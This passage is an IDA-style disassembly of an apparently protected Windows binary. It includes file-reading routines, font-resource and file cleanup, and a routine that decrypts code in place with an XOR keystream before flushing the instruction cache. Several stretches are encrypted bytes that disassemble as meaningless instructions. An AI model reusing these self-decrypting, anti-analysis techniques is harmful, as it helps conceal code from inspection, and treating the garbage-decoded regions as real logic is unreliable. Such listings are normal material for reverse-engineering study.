eax, [ebp+var_158] mov edi, [eax+0Ch] mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebp+var_158] mov dword ptr [eax], 0 push 10h call sub_50835A add esp, 4 mov [ebp+var_2E0], eax mov ecx, [ebp+var_158] mov edx, [ebp+var_2E0] mov [ecx+4], edx push 4 call sub_50835A add esp, 4 mov [ebp+var_2E4], eax mov eax, [ebp+var_158] mov ecx, [ebp+var_2E4] mov [eax+8], ecx mov edx, [ebp+var_158] mov dword ptr [edx+18h], 1 mov eax, [ebp+var_158] mov dword ptr [eax+14h], 0 push 0 push 0 mov ecx, [ebp+var_158] add ecx, 1Ch push ecx mov edx, [ebp+var_28] push edx call ds:dword_511704 ; GetFileTime mov edi, ds:dword_51190C or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov eax, ds:dword_511908 sub ecx, [eax+0C14h] mov [ebp+var_15C], ecx mov ecx, [ebp+var_15C] add ecx, 1 push ecx call sub_50835A add esp, 4 mov [ebp+var_2E8], eax mov edx, [ebp+var_158] mov eax, [edx+4] mov ecx, [ebp+var_2E8] mov [eax], ecx mov edx, [ebp+var_158] mov eax, [edx+4] mov ecx, [ebp+var_158] mov edx, [ecx+8] mov eax, [eax] mov [edx], eax mov ecx, [ebp+var_15C] add ecx, 1 mov edx, ds:dword_511908 mov esi, ds:dword_51190C add esi, [edx+0C14h] mov eax, [ebp+var_158] mov edx, [eax+8] mov edi, [edx] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+var_15C] push ecx mov edx, [ebp+var_158] mov eax, [edx+8] mov ecx, [eax] push ecx call ds:dword_5117C8 ; CharUpperBuffA mov edx, [ebp+var_158] mov eax, [edx+4] mov ecx, [ebp+var_34] mov [eax+4], ecx mov edx, [ebp+var_158] mov eax, [edx+4] mov ecx, [ebp+var_50] mov [eax+8], ecx mov edx, [ebp+var_158] mov eax, [edx+4] mov ecx, [ebp+var_38] mov [eax+0Ch], ecx mov edx, ds:dword_511908 mov [ebp+var_160], edx mov eax, [ebp+var_158] mov ecx, [ebp+var_160] mov edx, [ecx] mov [eax+10h], edx mov eax, [ebp+var_160] mov ecx, [ebp+var_158] mov [eax], ecx mov edx, ds:dword_511908 mov eax, [edx+4] add eax, 1 mov ecx, ds:dword_511908 mov [ecx+4], eax loc_503E52: ; CODE XREF: sub_503610+630j ; sub_503610+63Aj ... mov edx, [ebp+var_54] sub edx, [ebp+var_58] mov [ebp+var_58], edx mov eax, [ebp+var_3C] add eax, [ebp+var_58] mov [ebp+var_3C], eax mov ecx, [ebp+var_54] sub ecx, [ebp+var_3C] test ecx, ecx jb short loc_503E79 mov edx, [ebp+var_54] sub edx, [ebp+var_3C] cmp [ebp+var_60], edx jbe short loc_503E83 loc_503E79: ; CODE XREF: sub_503610+85Cj mov ecx, 0EF000007h call sub_508342 loc_503E83: ; CODE XREF: sub_503610+867j mov eax, [ebp+var_60] push eax call sub_50835A add esp, 4 mov [ebp+var_2EC], eax mov ecx, [ebp+var_2EC] mov [ebp+var_24], ecx mov [ebp+var_234], 0 mov [ebp+var_238], 0 push 0 push 0 mov edx, [ebp+var_3C] push edx mov eax, [ebp+var_28] push eax call ds:dword_511788 ; SetFilePointer loc_503EC4: ; CODE XREF: sub_503610+90Aj mov ecx, [ebp+var_238] cmp ecx, [ebp+var_60] jz short loc_503F1C mov [ebp+var_234], 0 push 0 lea edx, [ebp+var_234] push edx mov eax, [ebp+var_60] sub eax, [ebp+var_238] push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+var_28] push edx call ds:dword_51177C ; ReadFile test eax, eax jnz short loc_503F08 mov ecx, 0EF000006h call sub_508342 loc_503F08: ; CODE XREF: sub_503610+8ECj mov eax, [ebp+var_238] add eax, [ebp+var_234] mov [ebp+var_238], eax jmp short loc_503EC4 ; --------------------------------------------------------------------------- loc_503F1C: ; CODE XREF: sub_503610+8BDj push 120000h call near ptr loc_4FDB7D+1 fxch4 st(2) push esp mov ebp, 46EE4704h fst st iret sub_503610 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0F5h, 0E9h, 1Eh dd 0D5E28C45h, 8C62D4A7h, 7CF0AAEEh, 97AF283Eh, 0D6A56BD3h dd 7F01D584h, 9F85C5B6h, 0E7618390h, 0A2424F41h, 0FED9E4FEh dd 0CDB905E3h, 55C9DCC0h, 0EF5F05A1h, 6E843F49h, 52F6001Ah dd 67F55184h, 978DDDCEh, 1D797B88h, 0BA3A4746h, 6F9ECF7h dd 0C5B6D5FBh, 339090B8h, 75D285D2h, 4C8D8DEEh, 0E8FFFFFDh dd 37FCh, 50A0458Bh, 51DC4D8Bh, 0FD4C8D8Dh, 0F5E8FFFFh dd 8D000037h, 0FFFDB895h, 8D8D52FFh, 0FFFFFD4Ch, 389CE8h dd 4B900h, 0BD8D0000h, 0FFFFFDB8h, 33B4758Dh, 74A7F3C0h dd 7B90Ah, 63E8EF00h, 6A000043h, 4374E824h, 0C4830000h dd 10858904h, 8BFFFFFDh, 0FFFD108Dh, 0E04D89FFh, 83E4558Bh dd 0E85201C2h, 4356h, 8904C483h, 0FFFD0C85h, 0E0458BFFh dd 0FD0C8D8Bh, 4889FFFFh, 0E44D8B0Ch, 8B01C183h, 558B0875h dd 0C7A8BE0h, 0E9C1C18Bh, 8BA5F302h, 3E183C8h, 4D8BA4F3h dd 0DC558BE0h, 458B1189h, 9C4503DCh, 89E04D8Bh, 558B0441h dd 2E2C194h, 4304E852h, 0C4830000h, 8858904h, 8BFFFFFDh dd 8D8BE045h, 0FFFFFD08h, 8B084889h, 458BE055h, 18428994h dd 0C7E04D8Bh, 1441h, 558D0000h, 458D52D0h, 4D8B50D0h dd 1CC183E0h, 0D8558B51h, 415FF52h, 8B005117h, 7883E045h dd 16750020h, 83E04D8Bh, 75001C79h, 0E0558B0Dh, 521CC283h dd 172C15FFh, 45C70051h, 0A4h, 8B09EB00h, 0C083A445h, 0A4458901h dd 3BA44D8Bh, 830F944Dh, 0E3h, 0C1A4558Bh, 458B04E2h, 4488BE0h dd 3DC458Bh, 4D8B1104h, 4E1C1A4h, 8BE0558Bh, 4890452h dd 0A4458B0Ah, 8B04E0C1h, 518BE04Dh, 23C8B04h, 33FFC983h dd 0F7AEF2C0h, 0FFC183D1h, 0FD488D89h, 858BFFFFh, 0FFFFFD48h dd 5001C083h, 4235E8h, 4C48300h, 0FD048589h, 4D8BFFFFh dd 8518BE0h, 8BA4458Bh, 0FFFD048Dh, 820C89FFh, 0FD488D8Bh dd 0C183FFFFh, 0A4558B01h, 8B04E2C1h, 408BE045h, 10348B04h dd 8BE0558Bh, 558B0842h, 903C8BA4h, 0E9C1C18Bh, 8BA5F302h dd 3E183C8h, 8D8BA4F3h, 0FFFFFD48h, 0A4558B51h, 8B04E2C1h dd 488BE045h, 11148B04h, 0C815FF52h, 8B005117h, 0E0C1A445h dd 0E04D8B04h, 8B04518Bh, 3040244h, 4D8BA845h, 4E1C1A4h dd 8BE0558Bh, 44890452h, 8E9040Ah, 8BFFFFFFh, 4503DC45h dd 0FC7881A0h, 0FEFEFEFEh, 0A7850Fh, 4D8B0000h, 0A04D03DCh dd 89F8518Bh, 0FFFD3C95h, 0DC458BFFh, 8BA04503h, 8D89F448h dd 0FFFFFD40h, 3DC558Bh, 0FFFD4095h, 449589FFh, 0C7FFFFFDh dd 0FFFD3885h, 0FFh, 8B0FEB00h, 0FFFD3885h, 1C083FFh, 0FD388589h dd 8D8BFFFFh, 0FFFFFD38h, 0FD3C8D3Bh, 3A73FFFFh, 0FD38958Bh dd 0D26BFFFFh, 44858B18h, 3FFFFFDh, 348589C2h, 8BFFFFFDh dd 0FFFD348Dh, 0DC558BFFh, 8B105103h, 0FFFD3485h, 105089FFh dd 0FD348D8Bh, 8D89FFFFh, 0FFFFFD30h, 958BA9EBh, 0FFFFFD44h dd 18F01589h, 858B0051h, 0FFFFFD3Ch, 5118F4A3h, 80D8B00h dd 89005119h, 0FFFD2C8Dh, 2C958BFFh, 83FFFFFDh, 840F003Ah dd 152h, 8908458Bh, 0FFFCF485h, 2C8D8BFFh, 8BFFFFFDh, 0C428B11h dd 0FCF08589h, 8D8BFFFFh, 0FFFFFCF0h, 9588118Ah, 0FFFFFCEFh dd 0FCF4858Bh, 103AFFFFh, 0BD804675h, 0FFFFFCEFh, 8B317400h dd 0FFFCF08Dh, 1518AFFh, 0FCEE9588h, 858BFFFFh, 0FFFFFCF4h dd 7501503Ah, 0F0858323h, 2FFFFFCh, 0FCF48583h, 8002FFFFh dd 0FFFCEEBDh, 0AE7500FFh, 0FCE885C7h, 0FFFFh, 0BEB0000h dd 0D983C91Bh, 0E88D89FFh, 8BFFFFFCh, 0FFFCE895h, 0E49589FFh dd 83FFFFFCh, 0FFFCE4BDh, 57D00FFh, 0B5E9h, 1908A100h dd 0C0830051h, 0E0858910h, 8BFFFFFCh, 0FFFD2C8Dh, 8B118BFFh db 42h byte_504341 db 0Ch, 89h, 85h ; DATA XREF: _1:off_43DECCo dd 0FFFFFCDCh, 0FCDC8D8Bh db 2 dup(0FFh), 8Ah byte_50434F db 11h ; DATA XREF: _1:off_43DEC8o dd 0FCDB9588h, 858BFFFFh, 0FFFFFCE0h, 4675103Ah, 0FCDBBD80h dd 7400FFFFh, 0DC8D8B31h, 8AFFFFFCh, 95880151h, 0FFFFFCDAh dd 0FCE0858Bh, 503AFFFFh, 83237501h, 0FFFCDC85h, 858302FFh dd 0FFFFFCE0h, 0DABD8002h, 0FFFFFCh, 85C7AE75h, 0FFFFFCD4h dd 0 ; --------------------------------------------------------------------------- jmp short loc_5043B1 ; --------------------------------------------------------------------------- sbb ecx, ecx sbb ecx, 0FFFFFFFFh mov [ebp-32Ch], ecx loc_5043B1: ; CODE XREF: _5:005043A4j mov edx, [ebp-32Ch] mov [ebp-330h], edx cmp dword ptr [ebp-330h], 0 jnz short loc_5043C8 jmp short loc_5043DE ; --------------------------------------------------------------------------- loc_5043C8: ; CODE XREF: _5:005043C4j mov eax, [ebp-2D4h] mov ecx, [eax] add ecx, 10h mov [ebp-2D4h], ecx jmp near ptr dword_503F34+349h ; --------------------------------------------------------------------------- loc_5043DE: ; CODE XREF: _5:005043C6j mov edx, [ebp-20h] mov eax, [ebp-2D4h] mov ecx, [eax] mov [edx+10h], ecx mov edx, [ebp-2D4h] mov eax, [ebp-20h] mov [edx], eax mov ecx, ds:dword_511908 mov edx, [ecx+4] add edx, [ebp-6Ch] mov eax, ds:dword_511908 mov [eax+4], edx mov dword ptr [ebp-24h], 0 mov dword ptr [ebp-20h], 0 mov dword ptr [ebp-4], 0FFFFFFFFh call sub_504427 jmp short loc_504474 ; =============== S U B R O U T I N E ======================================= sub_504427 proc near ; CODE XREF: _5:00504420p ; DATA XREF: _6:0050E428o cmp dword ptr [ebp-28h], 0FFFFFFFFh jz short loc_504437 mov ecx, [ebp-28h] push ecx call ds:dword_5116A4 ; CloseHandle loc_504437: ; CODE XREF: sub_504427+4j cmp dword ptr [ebp-24h], 0 jz short loc_504455 mov edx, [ebp-24h] mov [ebp-300h], edx mov eax, [ebp-300h] push eax call sub_5083DD add esp, 4 loc_504455: ; CODE XREF: sub_504427+14j cmp dword ptr [ebp-20h], 0 jz short locret_504473 mov ecx, [ebp-20h] mov [ebp-304h], ecx mov edx, [ebp-304h] push edx call sub_5083DD add esp, 4 locret_504473: ; CODE XREF: sub_504427+32j retn sub_504427 endp ; --------------------------------------------------------------------------- loc_504474: ; CODE XREF: _5:00504425j mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_504490 proc near ; CODE XREF: sub_502DD0+623p var_58 = dword ptr -58h var_54 = dword ptr -54h var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005046B5 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E430 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFB8h push ebx push esi push edi mov [ebp+var_1C], 0 mov [ebp+var_4], 0 mov eax, ds:dword_511908 mov dword ptr [eax+0Ch], 0 mov ecx, ds:dword_511908 mov edx, [ecx+4] shl edx, 4 push edx call sub_50835A add esp, 4 mov [ebp+var_40], eax mov eax, [ebp+var_40] mov [ebp+var_1C], eax loc_5044EB: ; CODE XREF: sub_504490+1E7j mov [ebp+var_34], 0 mov [ebp+var_28], 0 mov [ebp+var_30], 0 mov ecx, ds:dword_511908 mov edx, [ecx] mov [ebp+var_20], edx jmp short loc_504516 ; --------------------------------------------------------------------------- loc_50450D: ; CODE XREF: sub_504490+9Ej ; sub_504490+132j ... mov eax, [ebp+var_20] mov ecx, [eax+10h] mov [ebp+var_20], ecx loc_504516: ; CODE XREF: sub_504490+7Bj cmp [ebp+var_20], 0 jz loc_5045F9 mov edx, [ebp+var_20] mov eax, [ebp+var_20] mov ecx, [edx+14h] cmp ecx, [eax+18h] jnz short loc_504530 jmp short loc_50450D ; --------------------------------------------------------------------------- loc_504530: ; CODE XREF: sub_504490+9Cj cmp [ebp+var_30], 0 jz loc_5045D2 mov edx, [ebp+var_20] mov eax, [edx+14h] shl eax, 4 mov ecx, [ebp+var_20] mov edx, [ecx+4] add edx, eax mov [ebp+var_38], edx mov eax, [ebp+var_30] mov [ebp+var_48], eax mov ecx, [ebp+var_38] mov edx, [ecx] mov [ebp+var_4C], edx loc_50455C: ; CODE XREF: sub_504490+FEj mov eax, [ebp+var_4C] mov cl, [eax] mov [ebp+var_4D], cl mov edx, [ebp+var_48] cmp cl, [edx] jnz short loc_504599 cmp [ebp+var_4D], 0 jz short loc_504590 mov eax, [ebp+var_4C] mov cl, [eax+1] mov [ebp+var_4E], cl mov edx, [ebp+var_48] cmp cl, [edx+1] jnz short loc_504599 add [ebp+var_4C], 2 add [ebp+var_48], 2 cmp [ebp+var_4E], 0 jnz short loc_50455C loc_504590: ; CODE XREF: sub_504490+DFj mov [ebp+var_54], 0 jmp short loc_5045A1 ; --------------------------------------------------------------------------- loc_504599: ; CODE XREF: sub_504490+D9j ; sub_504490+F0j sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_54], eax loc_5045A1: ; CODE XREF: sub_504490+107j mov ecx, [ebp+var_54] mov [ebp+var_58], ecx mov edx, [ebp+var_58] mov [ebp+var_3C], edx cmp [ebp+var_3C], 0 jnz short loc_5045C7 mov eax, [ebp+var_20] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+var_20] mov [edx+14h], ecx jmp loc_50450D ; --------------------------------------------------------------------------- loc_5045C7: ; CODE XREF: sub_504490+121j cmp [ebp+var_3C], 0 jle short loc_5045D2 jmp loc_50450D ; --------------------------------------------------------------------------- loc_5045D2: ; CODE XREF: sub_504490+A4j ; sub_504490+13Bj mov eax, [ebp+var_20] mov [ebp+var_28], eax mov ecx, [ebp+var_28] mov edx, [ecx+14h] shl edx, 4 mov eax, [ebp+var_28] mov ecx, [eax+4] add ecx, edx mov [ebp+var_34], ecx mov edx, [ebp+var_34] mov eax, [edx] mov [ebp+var_30], eax jmp loc_50450D ; --------------------------------------------------------------------------- loc_5045F9: ; CODE XREF: sub_504490+8Aj cmp [ebp+var_30], 0 jnz short loc_504601 jmp short loc_50467C ; --------------------------------------------------------------------------- loc_504601: ; CODE XREF: sub_504490+16Dj mov ecx, ds:dword_511908 mov edx, [ecx+0Ch] shl edx, 4 mov eax, [ebp+var_1C] add eax, edx mov [ebp+var_24], eax mov ecx, [ebp+var_24] mov edx, [ebp+var_34] mov [ecx], edx mov eax, [ebp+var_24] mov ecx, [ebp+var_28] mov [eax+0Ch], ecx mov edx, [ebp+var_24] mov dword ptr [edx+8], 0 mov eax, [ebp+var_28] mov ecx, [ebp+var_34] sub ecx, [eax+4] sar ecx, 4 mov edx, [ebp+var_28] mov eax, [edx+8] mov edx, [ebp+var_24] mov eax, [eax+ecx*4] mov [edx+4], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] mov [ebp+var_2C], edx mov eax, ds:dword_511908 mov ecx, [eax+0Ch] add ecx, 1 mov edx, ds:dword_511908 mov [edx+0Ch], ecx mov eax, [ebp+var_28] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+var_28] mov [edx+14h], ecx jmp loc_5044EB ; --------------------------------------------------------------------------- loc_50467C: ; CODE XREF: sub_504490+16Fj mov eax, ds:dword_511908 mov ecx, [ebp+var_1C] mov [eax+8], ecx mov [ebp+var_1C], 0 mov [ebp+var_4], 0FFFFFFFFh call sub_50469C jmp short loc_5046B5 sub_504490 endp ; =============== S U B R O U T I N E ======================================= sub_50469C proc near ; CODE XREF: sub_504490+205p ; DATA XREF: _6:0050E438o cmp dword ptr [ebp-1Ch], 0 jz short locret_5046B4 mov edx, [ebp-1Ch] mov [ebp-44h], edx mov eax, [ebp-44h] push eax call sub_5083DD add esp, 4 locret_5046B4: ; CODE XREF: sub_50469C+4j retn sub_50469C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_504490 loc_5046B5: ; CODE XREF: sub_504490+20Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_504490 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5046D0 proc near ; CODE XREF: sub_50A0C8+77p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005047AE SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E440 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE4h push ebx push esi push edi mov eax, ds:dword_5118E8 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_504714 mov ecx, [ebp+var_24] add ecx, 10h push ecx call ds:dword_50E01C ; RtlEnterCriticalSection mov byte ptr [ebp+var_28], 1 jmp short loc_504718 ; --------------------------------------------------------------------------- loc_504714: ; CODE XREF: sub_5046D0+2Fj mov byte ptr [ebp+var_28], 0 loc_504718: ; CODE XREF: sub_5046D0+42j mov edx, [ebp+var_28] and edx, 0FFh test edx, edx jz loc_5047AE mov [ebp+var_4], 0 cmp ds:dword_5118E8, 0 jz short loc_504783 mov ecx, ds:dword_5118E8 call sub_50BA67 loc_504744: ; CODE XREF: sub_5046D0:loc_504781j lea eax, [ebp+var_1C] push eax lea ecx, [ebp+var_20] push ecx mov ecx, ds:dword_5118E8 call sub_50BA7E and eax, 0FFh test eax, eax jz short loc_504783 mov edx, [ebp+var_1C] cmp dword ptr [edx], 0 jnz short loc_504781 mov eax, [ebp+var_20] mov ecx, [eax] push ecx call ds:dword_5117EC ; RemoveFontResourceA mov edx, [ebp+var_1C] mov eax, [edx+4] push eax call ds:dword_5116C0 ; DeleteFileA loc_504781: ; CODE XREF: sub_5046D0+96j jmp short loc_504744 ; --------------------------------------------------------------------------- loc_504783: ; CODE XREF: sub_5046D0+67j ; sub_5046D0+8Ej mov [ebp+var_4], 0FFFFFFFFh call sub_504791 jmp short loc_5047AE sub_5046D0 endp ; =============== S U B R O U T I N E ======================================= sub_504791 proc near ; CODE XREF: sub_5046D0+BAp ; DATA XREF: _6:0050E448o mov ecx, ds:dword_5118E8 mov [ebp-2Ch], ecx cmp dword ptr [ebp-2Ch], 0 jz short locret_5047AD mov edx, [ebp-2Ch] add edx, 10h push edx call ds:dword_50E018 ; RtlLeaveCriticalSection locret_5047AD: ; CODE XREF: sub_504791+Dj retn sub_504791 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5046D0 loc_5047AE: ; CODE XREF: sub_5046D0+53j ; sub_5046D0+BFj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_5046D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5047BF proc near ; CODE XREF: _5:005048A9p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0050488E SIZE 0000000F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E450 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 1Ch push ebx push esi push edi mov [ebp+var_34], edx mov [ebp+var_30], ecx mov eax, offset dword_4FD720 push dword ptr [eax+4] call ds:dword_5116C4 ; RtlEnterCriticalSection and [ebp+var_4], 0 mov eax, [ebp+var_30] mov eax, [eax] mov [ebp+var_24], eax mov eax, [ebp+var_30] mov eax, [eax-4] mov [ebp+var_2C], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov ecx, [ebp+var_2C] sub ecx, eax mov [ebp+var_1C], ecx mov eax, [ebp+var_24] shr eax, 10h mov ecx, [ebp+var_2C] add ecx, eax mov [ebp+var_28], ecx mov eax, [ebp+var_1C] mov [ebp+var_20], eax jmp short loc_50483A ; --------------------------------------------------------------------------- loc_504833: ; CODE XREF: sub_5047BF+9Dj mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax loc_50483A: ; CODE XREF: sub_5047BF+72j mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jz short loc_50485E mov eax, [ebp+var_1C] imul eax, 19660Dh add eax, 3C6EF35Fh mov ecx, [ebp+var_1C] mov cl, [ecx] xor cl, al mov eax, [ebp+var_1C] mov [eax], cl jmp short loc_504833 ; --------------------------------------------------------------------------- loc_50485E: ; CODE XREF: sub_5047BF+81j mov eax, [ebp+var_28] sub eax, [ebp+var_20] push eax push [ebp+var_20] push ds:dword_51168C call ds:dword_511670 ; FlushInstructionCache or [ebp+var_4], 0FFFFFFFFh call sub_50487F jmp short loc_50488E sub_5047BF endp ; =============== S U B R O U T I N E ======================================= sub_50487F proc near ; CODE XREF: sub_5047BF+B9p ; DATA XREF: _6:0050E458o mov eax, offset dword_4FD720 push dword ptr [eax+4] call ds:dword_511754 ; RtlLeaveCriticalSection retn sub_50487F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5047BF loc_50488E: ; CODE XREF: sub_5047BF+BEj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_5047BF ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi pusha xor edx, edx lea ecx, [ebp+8] call sub_5047BF popa pop edi pop esi pop ebx pop ebp retn 4 ; --------------------------------------------------------------------------- loc_5048B6: ; CODE XREF: _5:004FDB88j mov ecx, 0EF000008h call sub_508342 loc_5048C0: ; CODE XREF: sub_504DC0+12Ap push ebp mov ebp, esp sub esp, 0F8h push ebx push esi push edi cmp dword ptr [ebp+0Ch], 0 jz loc_50498A push 300000h call near ptr loc_4FDB7D+1 das pop esp jmp far ptr 0ACF4h:78C07626h ; --------------------------------------------------------------------------- db 79h, 51h, 0C5h dd 0D3767C0Eh, 9A3C1583h, 61222F3Ch, 569A14B2h, 51ACF93Bh dd 795DE1D6h, 8AC55F6Ch, 6E1F4C7h, 0DDEA9A95h, 847AACBFh dd 6408A2E6h, 0EFA72036h, 0DEAD53CBh, 0D9318176h, 7A25BFCCh dd 66815367h, 3D4A3AD5h, 24DA4C5Fh, 0C468C286h, 0A179C1BCh dd 52068794h, 4B34FCBFh, 5121FE3h, 0D1F96FEFh, 627220C4h dd 0B1617C44h, 5A424F31h, 7B38D747h, 0B9CB6DC2h, 99A668AAh dd 1F06D28Ch, 313E4B8Bh, 3278658Bh, 0DED6E3F0h, 95A2B3C9h dd 9E91AF1Fh, 433950ABh, 90901320h, 0C985C933h db 75h, 0EEh ; --------------------------------------------------------------------------- loc_50498A: ; CODE XREF: _5:005048D0j cmp dword ptr [ebp+8], 0 jz loc_504A9D mov dword ptr [ebp-0E4h], 0 push 5F0000h call near ptr loc_4FDB7D+1 ja short loc_504A0E xor bl, ah sahf cli inc eax lodsb les ebx, [ecx] ; CODE XREF: _5:005049B2j jns short near ptr loc_5049B0+1 into test [esi+5C4DBBE2h], bl ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- adc al, 7 cli cdq mov cl, [esi+eax*8] mov ecx, 0F36FEBACh add cl, [esi+ebx*2+58434451h] retn 310h ; --------------------------------------------------------------------------- dw 9DF6h dd 0DFB43472h, 818E9B43h, 4DB11D00h, 0E893340h, 1A0D3981h dd 0C745F0A4h, 7D8A64DEh, 0BA241770h, 63222F3Ch, 0E1EE187Ah dd 521A50D4h, 0F1916C2Ch, 2A525F02h, 6B33E757h db 29h byte_504A0D db 7Dh ; CODE XREF: _5:00504A36j ; --------------------------------------------------------------------------- loc_504A0E: ; CODE XREF: _5:005049A8j sti test eax, 0A9B628A2h pushf loc_504A15: ; CODE XREF: _5:00504A20j sti enter 68AAh, 5Bh dec esi cmp eax, 4F6ED00Dh jecxz short loc_504A15 out 0D9h, al mov eax, 65B38C81h loc_504A29: ; CODE XREF: _5:00504A49j xchg esp, ds:0C1542B53h[eax] cmp al, 78h bound edi, [ebx+1Bh] out dx, eax loop near ptr byte_504A0D mov esi, 94A141C9h xchg ecx, [esi] pop es mov edx, [ebx+46h] cmp [ecx-7199795h], eax jmp short loc_504A29 ; --------------------------------------------------------------------------- db 7Eh dd 9D45C5B6h, 1DD88390h, 35429036h, 6A19B628h, 0B1251884h dd 0A6DC5CFBh, 76E58A07h, 26C1E5ACh, 2F5D25Ch, 36296F67h dd 0FB59B843h, 90907B88h, 0C085C033h, 8D8BEE75h, 0FFFFFF1Ch dd 0FF088D89h, 958BFFFFh, 0FFFFFF08h, 3943E852h, 0C4830000h db 4 ; --------------------------------------------------------------------------- loc_504A9D: ; CODE XREF: _5:0050498Ej pop edi pop esi pop ebx mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_504AB0 proc near ; CODE XREF: sub_504D70+29p ; sub_504DC0+234p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3A = byte ptr -3Ah var_39 = byte ptr -39h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 48h mov [ebp+var_4], 1 mov [ebp+var_8], 0 jmp short loc_504ACC ; --------------------------------------------------------------------------- loc_504AC3: ; CODE XREF: sub_504AB0+106j ; sub_504AB0+2A8j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_504ACC: ; CODE XREF: sub_504AB0+11j mov ecx, [ebp+var_8] imul ecx, 14h mov edx, [ebp+arg_0] cmp dword ptr [edx+ecx+0Ch], 0 jnz short loc_504AE1 jmp loc_504D5D ; --------------------------------------------------------------------------- loc_504AE1: ; CODE XREF: sub_504AB0+2Aj mov eax, [ebp+var_8] imul eax, 14h mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] add edx, [ecx+eax] mov [ebp+var_C], edx mov eax, [ebp+var_8] imul eax, 14h mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] add edx, [ecx+eax+10h] mov [ebp+var_20], edx mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] cmp ecx, [eax+34h] jnz short loc_504B19 mov edx, [ebp+var_20] mov [ebp+var_C], edx jmp short loc_504B27 ; --------------------------------------------------------------------------- loc_504B19: ; CODE XREF: sub_504AB0+5Fj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jnz short loc_504B27 mov ecx, [ebp+var_20] mov [ebp+var_C], ecx loc_504B27: ; CODE XREF: sub_504AB0+67j ; sub_504AB0+6Fj mov [ebp+var_14], 0 mov edx, [ebp+var_8] imul edx, 14h mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] add ecx, [eax+edx+0Ch] mov [ebp+var_24], ecx cmp [ebp+arg_14], 0 jz short loc_504B5A mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_14] push eax call sub_50575D add esp, 8 mov [ebp+var_14], eax loc_504B5A: ; CODE XREF: sub_504AB0+95j cmp [ebp+var_14], 0 jnz short loc_504B6C mov ecx, [ebp+var_24] push ecx call sub_50AF8C mov [ebp+var_14], eax loc_504B6C: ; CODE XREF: sub_504AB0+AEj mov edx, [ebp+var_8] imul edx, 14h mov eax, [ebp+arg_0] xor ecx, ecx cmp dword ptr [eax+edx+4], 